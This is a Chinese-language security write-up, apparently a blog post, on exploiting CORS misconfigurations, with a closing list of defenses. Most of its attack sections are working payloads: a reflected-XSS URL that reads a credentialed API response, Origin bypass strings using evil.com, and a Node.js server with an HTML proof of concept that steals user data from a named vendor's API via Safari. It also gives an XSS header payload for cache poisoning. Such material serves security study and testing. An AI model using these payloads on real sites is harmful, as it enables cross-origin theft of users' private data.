//结合网络资料整理了CORS的进阶利用方式,基础利用参考浅谈sop、cors和csp
SOP可以发请求,但是浏览器会阻止响应
当”Access-Control-Allow-Origin“是动态产生,要用”Vary: Origin“指定。
这个头部字段向客户端表明,服务器端返回内容的将根据请求中”Origin“的值而变化。
1. ACAO为*
Access-Control-Allow-Origin:*
注意Access-Control-Allow-Credentials:true和Access-Control-Allow-Origin:*不能同时使用!!!
这样配置浏览器将会报错
直接利用即可
2. ACAO为requester.com
后端代码例子:
if ($_SERVER[‘HTTP_HOST’] == ‘*requester.com’) { //Access data else{ // unauthorized access} }
申请一个以requester.com结尾的域名放poc即可
or
^https?:\/\/.*\.?target\.local$
Origin: https://nottarget.local
or
Origin: https://target.local.attacker.domain
3. 白名单域名
if ($_SERVER[‘HTTP_HOST’] == ‘*.requester.com’) { //Access data else{ // unauthorized access} }
利用sub.requester.com的xss(或者子域名接管漏洞)漏洞攻击provider.com
案例:
https://banques.redacted.com/choice-quiz?form_banque="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1
4. 反射origin
add_header “Access-Control-Allow-Origin” $http_origin;
add_header “Access-Control-Allow-Credentials” “true”;
5. 信任null
Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true
<iframe sandbox=”allow-scripts allow-top-navigation allow-forms” src=’data:text/html,<script>**CORS request here**</script>’></iframe>
5. 特殊字符
浏览器在发出请求之前并不总是验证域名。
因此,如果使用某些特殊字符,则浏览器当前可能会提交请求,而无需事先验证域名是否有效和存在。
特殊字符 | Chrome(v 67.0.3396) | Edge(v 41.16299.371) | Firefox(v 61.0.1) | Internet Explorer(v 11) | Safari(v 11.1.1) | |
! | NO | NO | NO | NO | YES | |
= | NO | NO | NO | NO | YES | |
$ | NO | NO | YES | NO | YES | |
& | NO | NO | NO | NO | YES | |
‘ | NO | NO | NO | NO | YES | |
( | NO | NO | NO | NO | YES | |
) | NO | NO | NO | NO | YES | |
* | NO | NO | NO | NO | YES | |
+ | NO | NO | YES | NO | YES | |
, | NO | NO | NO | NO | YES | |
– | YES | NO | YES | YES | YES | |
; | NO | NO | NO | NO | YES | |
= | NO | NO | NO | NO | YES | |
^ | NO | NO | NO | NO | YES | |
_ | YES | YES | YES | YES | YES | |
` | NO | NO | NO | NO | YES | |
{ | NO | NO | NO | NO | YES | |
\ | NO | NO | NO | NO | YES | |
} | NO | NO | NO | NO | YES | |
~ | NO | NO | NO | NO | YES |
案例:
目标:https://protect.ubnt.com/
敏感API:https://client.amplifi.com/api/user/
API的CORS配置为所有子域列入白名单,甚至是不存在的子域,存在安全隐患。
ubnt没有XSS和子域名接管漏洞。
但是允许:Origin *.ubnt.com!.evil.com
*.ubnt.com!.evil.com
*.ubnt.com”.evil.com
*.ubnt.com$.evil.com
*.ubnt.com%0b.evil.com
*.ubnt.com%60.evil.com
*.ubnt.com&.evil.com
*.ubnt.com’.evil.com
*.ubnt.com(.evil.com
*.ubnt.com).evil.com
*.ubnt.com*.evil.com
*.ubnt.com,.evil.com
*.ubnt.com;.evil.com
*.ubnt.com=.evil.com
*.ubnt.com^.evil.com
*.ubnt.com`.evil.com
*.ubnt.com{.evil.com
*.ubnt.com|.evil.com
*.ubnt.com}.evil.com
*.ubnt.com~.evil.com
设置泛解析到evil.com
nodejs作服务器
#serve.js var http = require('http'); var url = require('url'); var fs = require('fs'); var port = 80 http.createServer(function(req, res) { if (req.url == '/cors-poc') { fs.readFile('cors.html', function(err, data) { res.writeHead(200, {'Content-Type':'text/html'}); res.write(data); res.end(); }); } else { res.writeHead(200, {'Content-Type':'text/html'}); res.write('never gonna give you up...'); res.end(); } }).listen(port, '0.0.0.0'); console.log(`Serving on port ${port}`);
cors.html:
<!DOCTYPE html><html><head><title>CORS</title></head><body onload="cors();"><center> cors proof-of-concept:<br><br><textarea rows="10" cols="60" id="pwnz"></textarea><br></div> <script>function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("pwnz").innerHTML = this.responseText; } }; xhttp.open("GET", "https://client.amplifi.com/api/user/", true); xhttp.withCredentials = true; xhttp.send(); }</script>
node serve.js &
在Safari浏览器中打开链接:https://zzzz.ubnt.com=.evil.com/cors-poc
即可完成攻击。
6. 第三方信任域名
如Amazon S3存储桶。
7. 客户端缓存投毒
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(‘get’,’http://www.target.local/login’,true);
req.setRequestHeader(‘X-User’, ‘<svg/onload=alert(1)>’);
req.send();
function reqListener() {
location=’http://www.target.local/login’;
}
如上例所示,如果未在响应中设置“ Vary:Origin”标头,则受害者的浏览器可以将响应存储在缓存中(基于浏览器的行为),然后直接显示它
当浏览器导航到关联的URL时(这可以通过重定向完成,例如用reqListener方法)。
没有CORS,就无法利用,因为无法使受害者的浏览器跨域发送自定义头部,但启用了CORS后,可以使用“ XMLHttpRequest”来做到这一点。
8. 服务端缓存投毒
GET / HTTP/1.1\
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7`
Internet Explorer将响应:
`HTTP/1.1 200 OK\
Access-Control-Allow-Origin: z\
Content-Type: text/html; charset=UTF-7
这不能直接利用,因为攻击者无法使受害者的浏览器发送格式错误的标头,但是可以在Burp Suite中手动提交请求,并且服务器端缓存可以保存响应并将其提供给其他人 。 使用的payload会将页面的字符集更改为UTF-7,这对于XSS漏洞非常有用。
防御:
不要盲目反射 Origin头
严格校验 Origin 头
不要配置 Access-Control-Allow-Origin: null
HTTPS 网站不要信任HTTP 域
不要信任全部子域
不要配置 Origin:*和 Credentials: true
增加 Vary: Origin 头
通过“Access-Control-Allow-Methods”和“Access-Control-Allow-Headers”头部,限制浏览器缓存信息的时间
通过“Access-Control-Allow-Methods”头部,配置允许跨域请求的方法
参考资料
https://www.corben.io/advanced-cors-techniques/
https://www.bedefended.com/papers/cors-security-guide
https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors